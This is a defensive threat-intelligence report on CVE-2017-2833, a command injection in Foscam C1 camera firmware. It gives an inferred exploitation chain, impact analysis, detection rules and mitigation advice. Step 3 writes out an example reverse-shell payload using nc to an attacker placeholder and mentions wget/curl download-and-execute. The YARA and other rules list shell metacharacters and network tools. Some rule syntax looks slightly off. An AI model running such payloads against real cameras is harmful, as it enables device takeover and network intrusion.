CVE-2017-2833

Executive Summary

CVE-2017-2833 is an exploitable command injection vulnerability residing in the web management interface of the Foscam C1 Indoor HD Camera running application firmware version 2.52.2.37. The vulnerability permits a remote attacker to inject arbitrary shell characters, ultimately leading to operating system command execution during the device's boot process. The attack requires two preconditions: the victim must send a crafted HTTP request to the device, and the device must subsequently be rebooted to trigger the injection. With a CVSS base score of 8.8, this represents a high-severity issue affecting an internet-exposed IoT device class, allowing for complete compromise, potential network lateral movement, and the incorporation of the camera into a botnet. The firmware is currently assessed as unpatched, with no vendor remediation identified, leaving all deployed devices permanently at risk.

Technical Analysis

The NVD description indicates the flaw resides in the web management interface of the Foscam C1 Indoor HD Camera, specifically on firmware version 2.52.2.37. The vulnerability class is command injection (CWE-77, "Improper Neutralization of Special Elements used in a Command"). The description states that a specially crafted HTTP request allows a user to inject arbitrary shell characters. The injection does not execute at the moment of the request; rather, the injected characters are persisted — likely written to a configuration file, a boot script, or a cron-style entry — and then executed when the device reboots. This two-stage execution indicates the vulnerable input is not directly passed to system(), popen(), or their equivalents at request time, but is stored and consumed during the boot sequence (e.g., in /etc/init.d scripts or an NVRAM/Flash configuration store).

The attack surface is the embedded web server on the camera. Given that this is an IoT surveillance device, the web interface typically listens on TCP port 80 (HTTP) and often 443 (HTTPS), exposing endpoints for configuration, firmware upgrade, network settings, user authentication, and camera control. The specific parameter that is vulnerable is not disclosed in the NVD entry, but based on the vulnerability class, it is likely a field such as a network gateway, DNS server, DDNS hostname, NTP server, or another value prone to being concatenated into shell commands during boot-time network initialization scripts. These fields, when processed by a shell command such as ping $GATEWAY or echo $NTPSERVER >> /etc/ntp.conf, would allow an attacker who controls that field to break out via shell metacharacters (;, &&, |, `, $()), inject new commands, and have them executed with the privileges of the web server process — typically root on such embedded Linux devices.

The two-step nature (request + reboot) changes the exploitation dynamics. The attacker cannot achieve immediate code execution; they must first inject the payload and then trigger or wait for a reboot. This can be done by the attacker via the web interface if the "reboot" endpoint is accessible, or by physical access, or by waiting for a natural power cycle. This delayed execution also means the payload persists across the reboot, and any cleanup by the attacker must account for the fact that the injected text remains in persistent storage until overwritten or the flash is cleared.

Attack vectors are strictly network-based. The device must be accessible via HTTP to a remote attacker, which is common for IP cameras exposed to the internet through UPnP port forwarding or directly on a public interface. Additionally, this could be exploited by a local network attacker (i.e., inside the home or enterprise LAN) who has network access to the device. There is no authentication requirement stated in the description — the crafted HTTP request can "allow for a user" to inject characters, suggesting the injection may occur pre-authentication or in an unauthenticated endpoint, though for an enterprise assessment, assuming unauthenticated access is the more dangerous and realistic scenario.

Exploitation Scenarios

Step 1 — Reconnaissance / Target Identification: An attacker begins by scanning the internet or a local subnet for Foscam C1 devices. This can be achieved via Shodan (using dorks for "Foscam C1", "Foscam", or "Server: Foscam"), or by scanning for the device's default HTTP banner, its UPnP service (often exposing port 5000), or common web ports (80/443). The attacker verifies the target is running firmware 2.52.2.37, possibly by accessing a device information page, and confirms the web interface is responsive.

Step 2 — Triggering the Flaw Class: The attacker crafts an HTTP request containing shell metacharacters within a vulnerable parameter of the web management interface. For a generic command injection of this class, the payload must include a break-out sequence — e.g., a semicolon (;) followed by a command, a pipe (|), a $() substitution, or a backtick-delimited command. Since the vulnerability executes during boot, the injected content will be stored. The attacker submits the malicious request to the web server endpoint that writes the configuration value.

Step 3 — Payload Execution: After the request is accepted, the attacker must cause the device to reboot. This can be done via: (a) issuing a reboot command through the same web interface (likely an authenticated or unauthenticated "reboot" endpoint in the management UI), (b) sending a WDT (watchdog) trigger or a power-cycle command over the network, or (c) waiting for a scheduled or natural reboot. Upon boot, the firmware's initialization scripts read the stored (but unsanitized) configuration value and pass it to a shell command, executing the injected payload with root privileges. A typical payload might be a reverse shell (nc <attacker_ip> <port> -e /bin/sh or a wget/curl-based download and execute of a malicious binary), added with a trailing # or & to comment out or background the legitimate portion of the command to avoid errors.

Step 4 — Post-Exploitation Impact: Once command execution is achieved, the attacker has full root access to the camera. Immediately, the camera can be used to exfiltrate video/audio feeds, pivot to the local network, disable the device (bricking), or install persistent malware. A common IoT attack pattern for high-volume exploitation is to install a Mirai-style botnet client to use the camera for DDoS attacks. Also possible is the disabling of logging and the removal of the injected commands from the boot scripts to avoid detection. Because the device is unpatched and there are no workarounds, the attacker retains persistent access indefinitely unless the camera is manually flashed with a patched (non-existent) firmware or decommissioned.

Note: No public PoC is available; the attack chain is inferred from the vulnerability class and NVD description. Commercially, exploits for this CVE are not listed on ExploitDB or in Nuclei templates, indicating limited or no public operationalization.

Impact Assessment

The CVSS v3.1 base score is 8.8 (per the supplied intelligence data), which maps to "High" severity. The score primarily reflects the ease and impact of exploitation: network attack vector, no privilege requirement (as the web interface is the entry point), and the fact that the injected commands run with device-level (root) privileges. A successful exploit yields full control of the device.

• Confidentiality Impact: High — the attacker gains access to the camera's video stream, credentials stored on the device, and any network traffic traversing the LAN.
• Integrity Impact: High — the attacker can modify camera settings, upload firmware, or alter the operating system.
• Availability Impact: High — the attacker can disable the device, brick it, or use it in DDoS attacks, removing it from service for legitimate use.
• Business Impact: For enterprises using these cameras in offices or facilities, a compromise represents a physical security breach (surveillance loss), a regulatory concern (if recording in GDPR/HIPAA-sensitive areas), and an entry point into the corporate LAN. Lateral movement from the camera into other systems is trivial if the camera resides on the internal network without segmentation.
• Blast Radius: The camera is a single endpoint, but the severity is elevated because it is an unpatched, permanently vulnerable device. Any Foscam C1 with firmware 2.52.2.37 is affected. Given that Foscam is a widely deployed consumer/SMB brand and many devices are exposed to the internet via UPnP, the at-risk population is potentially tens of thousands of devices. The device being unpatched means no remediation path exists; the only permanent fix is hardware replacement.

Detection Guidance

Sigma Rule

title: Foscam C1 Command Injection - Suspicious Shell Characters in HTTP Request
id: 0f8e0f3a-2b1a-4b9e-a544-2bf0d0e8a7b2
status: experimental
description: Detects HTTP requests targeting Foscam C1 web interface with shell metacharacters that indicate command injection attempts.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-2833
tags:
    - attack.mitigation.t1190
    - attack.t1059
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.url|contains:
            - '%3B'
            - ';'
            - '%7C'
            - '|'
            - '`'
            - '%60'
            - '$('
            - '%24%28'
    filter_keywords:
        http.url|contains:
            - '/cgi-bin/'
    condition: selection and filter_keywords
falsepositives:
    - Legitimate configuration updates that use semicolons (unlikely in Foscam context)
level: high

YARA Rule

rule Foscam_C1_Command_Injection_Payload
{
    meta:
        author = "Valtersit CTI"
        description = "Detects HTTP request payloads with shell characters typical of CVE-2017-2833 command injection on Foscam C1 cameras."
        cve = "CVE-2017-2833"
        date = "2024-01-28"
    strings:
        $metachar_1 = ";"
        $metachar_2 = "|"
        $metachar_3 = "$("
        $metachar_4 = "`"
        $metachar_5 = "&&"
        $metachar_6 = "> "
        $metachar_7 = "%3B"
        $cmd_rev = "sh -i"
        $cmd_nc = "nc "
        $cmd_wget = "wget "
        $cmd_curl = "curl "
    condition:
        (uint16(0) == 0x0d0a or filesize < 4000) and
        (any of ($metachar_*) and any of ($cmd_*)) and
        filesize < 50000
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2017-2833 Foscam C1 Command Injection Attempt"; flow:established,to_server; content:"GET"; http_method; nocase; content:"/cgi-bin/"; http_uri; nocase; pcre:"/(;|\||`|\$\()/Ui"; http_uri; sid:20272833; rev:1; metadata:cve CVE-2017-2833;)

Elastic Detection

network where event.action == "http" and
  http.request.method in ("GET", "POST", "PUT") and
  http.request.url.processed contain "/cgi-bin/" and
  (
    http.request.body contain ";" or
    http.request.body contain "|" or
    http.request.body contain "`" or
    http.request.body contain "$(" or
    http.request.url.processed contain "%3B" or
    http.request.url.processed contain "%7C"
  ) and
  source.ip not in ("127.0.0.1", "::1")

Splunk SPL Query

index=web sourcetype=access_combined
| where like(_raw, "%/cgi-bin/%") AND (like(_raw, "%;+%") OR like(_raw, "%|+%") OR like(_raw, "%`%") OR like(_raw, "%$(%") OR like(_raw, "%3B%") OR like(_raw, "%7C%"))
| table _time, src_ip, dest_ip, url, http_user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="foscam_command_injection,">
  <rule id="100283" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\./cgi-bin/\.</field>
    <regex>(;|\||`|\$\()</regex>
    <description>Foscam C1 Command Injection Attempt - CVE-2017-2833</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>t1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. There is no vendor-issued firmware update addressing CVE-2017-2833 as of this report's date. Affected version: 2.52.2.37. No patch sources were identified in the intelligence data.

1) Immediate Mitigations:

• Network Segmentation: Isolate the camera on a separate VLAN or subnet with no route to the corporate network. Restrict outbound internet access to only necessary NTP and firmware update servers.
• Access Restriction: If the camera must be network-accessible, restrict access to the web interface (ports 80/443) to only trusted administrative IP addresses via firewall ACLs. Do not expose the camera to the public internet; disable UPnP port forwarding if it is enabled.
• Credential Hygiene: Change default passwords immediately. Use strong, unique passwords. However, note that this does not mitigate the vulnerability if the injection is pre-authentication.
• Disable Remote Management: If not needed, disable the web interface entirely, relying only on local services if required.

2) Patch/Upgrade Steps:

• Currently, no patched firmware is available. Verify on the Foscam support site for a firmware newer than 2.52.2.37. If a newer release is found, apply it and re-run the vulnerability assessment. If no firmware exists, the device must be considered permanently compromised and replaced with a vendor that supports firmware updates.
• If the camera is suspected of compromise (unexpected network connections, modified settings), perform a factory reset. This will clear injected payloads from boot scripts. Then, apply the steps above immediately after reconfiguration.

3) Long-Term Hardening:

• Hardware Replacement: Prioritize replacing Foscam C1 units with IP cameras from vendors with a demonstrated history of security patching and vulnerability response programs.
• Monitoring: Deploy the detection rules (above) in your SIEM/IDS, and monitor for any HTTP requests to the camera's cgi-bin endpoints containing shell metacharacters.
• Vendor Review: Include firmware update and security-advisory cadence in the vendor selection criteria for all future IoT procurements.
• Network Defense: Enforce egress filtering so that even if the camera is compromised, it cannot reach attacker C2 servers on arbitrary ports.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2017-2833 (official NVD data, severity, description)
2. CISA KEV: Not listed (CISA KEV: NO). No evidence of known exploitation in the wild.
3. Foscam Vendor Page: https://www.foscam.com/ (no advisory published for this CVE as of report date)
4. MITRE ATT&CK: T1190 — Exploit Public-Facing Application (tactic: Initial Access) and T1059 — Command and Scripting Interpreter (Execution) are applicable tactic/technique mappings.
5. Talos Intelligence (original researcher): CVE-2017-2833 was originally disclosed by Cisco Talos (research by Tyler Bohan). No public PoC or module is available; the disclosure may be retrieved via Talos vulnerability reports if archived.

Threat Actor Campaigns / In-the-Wild Evidence: No known exploitation campaigns are documented for this specific CVE. The EPSS score is 0.04815 (91.1st percentile), indicating a high probability of exploitation attempts in the wild relative to other CVEs, but no specific confirmed in-the-wild attacks are tracked. The vulnerability is not on the CISA Known Exploited Vulnerabilities list.